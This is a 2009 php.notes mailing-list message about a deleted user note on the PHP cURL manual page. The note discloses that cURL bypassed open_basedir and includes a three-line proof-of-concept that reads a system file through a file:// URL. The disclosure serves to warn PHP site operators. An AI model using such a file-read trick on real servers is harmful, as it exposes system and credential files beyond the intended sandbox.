note 55467 deleted from ref.curl by danbrown
| From: | danbrown@php.net | Date: | Sun, 17 May 2009 19:37:26 +0000 |
| Subject: | note 55467 deleted from ref.curl by danbrown | ||
| References: | 1 | Groups: | php.notes |
| Request: | Send a blank email to php-notes+get-155244@lists.php.net to get a copy of this message | ||
Note Submitter: alex at javafaq dot nu
----
Hello!
CURL function make security hole at your site....
Just read that PHP cURL functions bypass open_basedir
protection, so users can navigate through
filesystem.
For example, setting "open_basedir" in php.ini to
"/var/www/html" anybody can retrieve "/etc/parla"
using cURL functions.
== Proof of concept (curl.php)
<?php
$ch = curl_init("file:///etc/parla");
$file=curl_exec($ch);
echo $file
?>
More details here:
http://www.securityfocus.com/archive/1/379657/2004-10-26/2004-11-01/0